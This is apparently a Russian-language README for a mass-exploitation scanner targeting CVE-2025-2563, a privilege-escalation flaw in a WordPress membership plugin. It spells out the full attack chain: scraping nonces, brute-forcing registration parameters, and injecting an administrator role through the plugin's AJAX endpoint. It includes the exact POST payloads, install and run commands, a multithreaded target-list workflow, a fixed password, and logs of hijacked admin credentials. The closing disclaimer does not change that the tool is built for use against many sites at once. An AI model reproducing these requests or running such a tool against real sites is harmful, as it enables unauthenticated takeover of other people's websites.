
Плагин User Registration & Membership для WordPress версии ниже 4.1.2 не препятствует пользователям устанавливать свою роль в учётной записи, когда включён аддон Membership, что приводит к проблеме повышения привилегий и позволяет неаутентифицированным пользователям получить права администратора.
Плагин User Registration & Membership для WordPress до версии 4.1.2 не предотвращает установку пользователями своей роли учетной записи, когда включен аддон Membership, что приводит к повышению привилегий и позволяет неаутентифицированным пользователям получить права администратора.
Описание:
Плагин User Registration & Membership для WordPress версий до 4.1.2 не обеспечивает проверку ограничений ролей на стороне сервера, когда включен аддон Membership. В процессе регистрации членства плагин принимает поле role, предоставленное пользователем, в AJAX-действии user_registration_membership_register_member без проверки на соответствие серверному белому списку. Полностью неаутентифицированный удаленный атакующий может отправить подстроенную двухшаговую цепочку AJAX — сначала зарегистрировать новую учетную запись пользователя через user_registration_user_form_submit, затем внедрить "role": "administrator" в полезную нагрузку members_data при вызове членства — чтобы незаметно создать полностью привилегированную учетную запись Администратора WordPress. Это приводит к полной компрометации сайта без необходимости в аутентификации или взаимодействии с пользователем.
Это сканер массовой эксплуатации Proof-of-Concept (PoC), нацеленный на установки WordPress, на которых работает уязвимая версия плагина User Registration & Membership с активным аддоном Membership. Инструмент выполняет интеллектуальную многоэтапную эксплуатацию с автоматическим обнаружением, сбором одноразовых токенов (nonce), регистрацией с перебором комбинаций, внедрением роли и проверкой прав администратора.
[Фаза 1 — Обнаружение]
GET /membership-pricing/ → Извлечение membership_id, ссылок на тарифы
GET /membership-registration/ → Извлечение form_id, nonce, токенов безопасности
GET /registration/ → Запасная страница регистрации
↓
[Фаза 2 — Извлечение nonce]
Разбор: ur_membership_frontend_localized_data._nonce
Разбор: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Фаза 3 — Регистрация (комбинированная атака)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<токен> | ur_frontend_form_nonce=<nonce>
→ Перебор всех допустимых комбинаций до success=true
↓
[Фаза 4 — Внедрение роли (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Сервер назначает созданному пользователю роль администратора
↓
[Фаза 5 — Проверка администратора]
POST /wp-login.php → Вход с новыми учетными данными
GET /wp-admin/ → Проверка adminmenu / wp-admin-bar
GET /wp-admin/users.php → Подтверждение доступа manage_options
GET /wp-admin/plugin-install.php → Подтверждение доступа plugin-install
↓
[Сохранение в Nx_admin.txt]
Формат: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Или через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Клонировать репозиторий
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Установить зависимости
pip install -r requirements.txt
# Запустить инструмент
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
Инструмент использует полностью интерактивный терминальный интерфейс на основе Rich.
Создайте текстовый файл (по умолчанию: list.txt) — одна цель на строку:
https://target1.com
https://target2.com
http://target3.com
target4.com
Цели без
http://илиhttps://автоматически дополняются префиксомhttps://.
Файл целей [list.txt]: list.txt
Количество потоков [3]: 5
Таймаут HTTP (сек) [10]: 10
Макс. попыток регистрации на цель [20]: 20
Пароль зафиксирован внутри как
Nx_adminSAдля всех попыток регистрации.
Инструмент автоматически проверяет три страницы для каждой цели:
Следующие токены извлекаются из исходного HTML и встроенного JavaScript:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
Инструмент автоматически перебирает все обнаруженные комбинации security, frontend_nonce, form_id и membership_id, пока не получит ответ success: true.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ Сервер принимает поле
roleбез какого-либо белого списка — это коренная причина CVE-2025-2563.
| Файл | Описание |
|---|---|
reg.txt | Все успешные попытки регистрации с учетными данными |
Nx_admin.txt | Все подтвержденные повышения до администратора |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ Полная цепочка регистрации членства ║
║ Автор: Nxploited | GitHub: github.com/Nxploited | @Kxploit║
╚══════════════════════════════════════════════════════════════════╝
[СКАНИРОВАНИЕ] https://target.com
[ЭКСПЛУАТАЦИЯ] https://target.com | nonce + reg OK
[ЭКСПЛУАТИРОВАНО] https://target.com | пароль: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Цель │ Статус │ Пароль / Примечание│
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ВЗЛОМАНО (эксплуатировано) │ пароль: Nx_adminSA │
│ https://target2.com │ УЯЗВИМО (nonce раскрыт) │ │
│ https://target3.com │ МЕРТВО (ошибка соединения) │ │
└──────────────────────────────────────────────────────────────────────────┘
Журнал регистраций: reg.txt
Журнал эксплойтов (админ): Nx_admin.txt
Автор: Nxploited (Khaled Alenazi)
ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНОГО И АВТОРИЗОВАННОГО ИССЛЕДОВАНИЯ БЕЗОПАСНОСТИ.
Автор, Nxploited (Khaled Alenazi), и все участники этого проекта не поощряют, не поддерживают и не несут никакой ответственности за неправомерное использование этого инструмента или любой ущерб, причиненный в результате использования данного программного обеспечения против систем, на которые у вас нет явного письменного разрешения.
- ✅ Разрешено: Использование на системах, которыми вы владеете или на тестирование которых получили явное письменное разрешение.
- ❌ Запрещено: Использование против любых систем без предварительного явного письменного разрешения владельца системы.
Несанкционированный доступ к компьютерным системам является незаконным и наказуемым в соответствии с действующим законодательством, включая, но не ограничиваясь, Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), Законом о неправомерном использовании компьютеров (CMA) и аналогичными законами по всему миру.
Используя этот инструмент, вы принимаете на себя полную и единоличную ответственность за свои действия и подтверждаете, что имеете законное право тестировать целевые системы.
Автор не несет никакой ответственности за какие-либо прямые, косвенные, случайные или последующие убытки, возникшие в результате использования или неправомерного использования данного программного обеспечения.
© 2025 Nxploited (Khaled Alenazi) — Только для авторизованных исследований безопасности.
| Поле | Детали |
|---|
| CVE ID | CVE-2025-2563 |
| Серьезность | HIGH — CVSS v3.1 Score: 8.1 |
| Вектор | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Затронутое ПО | Плагин User Registration & Membership для WordPress |
| Затронутые версии | Все версии до 4.1.2 |
| Тип уязвимости | Некорректное управление привилегиями — создание учетной записи администратора без аутентификации |
| Требуется аутентификация | Нет |
| CWE | CWE-269: Некорректное управление привилегиями |
| Страница |
|---|
| Назначение |
|---|
/membership-pricing/ | Извлечение membership_id и ссылок на регистрацию |
/membership-registration/ | Извлечение токенов формы, nonce и идентификаторов полей |
/membership-registration/?membership_id=<id> | Извлечение данных формы для конкретного тарифа |
/registration/ | Запасная общая страница регистрации |
| Токен | Источник |
|---|
_nonce | Объект JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Скрытое поле ввода или объект JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Скрытое поле ur-user-form-id или объект JS |
membership_id | Радио-поле urm_membership или строка запроса URL |
| Статус | Цвет | Значение |
|---|
ВЗЛОМАНО (эксплуатировано) | 🟢 Зеленый | Полный успех цепочки — вход администратора подтвержден |
ВЗЛОМАНО (эксплойт ок, админ не подтвержден) | 🟡 Желтый | Внедрение роли удалось, но проверка панели администратора не дала результата |
УЯЗВИМО (nonce раскрыт, регистрация не удалась) | 🟡 Желтый | Nonce членства найден, но AJAX-регистрация не удалась |
УЯЗВИМО (nonce раскрыт, эксплойт ожидает) | 🟡 Желтый | Nonce найден, но эксплуатацию не удалось завершить |
ЭКСПЛУАТАЦИЯ | 🟡 Желтый | Активная эксплуатация в процессе |
ЗАРЕГИСТРИРОВАН (нет nonce членства) | 🟡 Желтый | Регистрация удалась, но nonce не извлекается |
НЕТ РЕГИСТРАЦИИ (все попытки не удались) | ⚫ Темный | Исчерпаны все комбинации security/nonce/form_id |
НЕТ РЕГИСТРАЦИИ (достигнут лимит попыток) | ⚫ Темный | Достигнут установленный лимит попыток |
МЕРТВО (нет страниц членства/регистрации) | ⚫ Темный | Плагин не обнаружен на цели |
ЭКСПЛУАТАЦИЯ НЕ УДАЛАСЬ (ошибка запроса) | 🔴 Красный | Сетевая ошибка во время вызова внедрения роли |
ЭКСПЛУАТАЦИЯ НЕ УДАЛАСЬ (success=false) | 🔴 Красный | Сервер вернул success: false при внедрении роли |
ТАЙМАУТ | ⚫ Темный | Таймаут HTTP |
МЕРТВО (ошибка соединения) | ⚫ Темный | Соединение отклонено / недоступно |
ОШИБКА | 🔴 Красный | Непредвиденное исключение |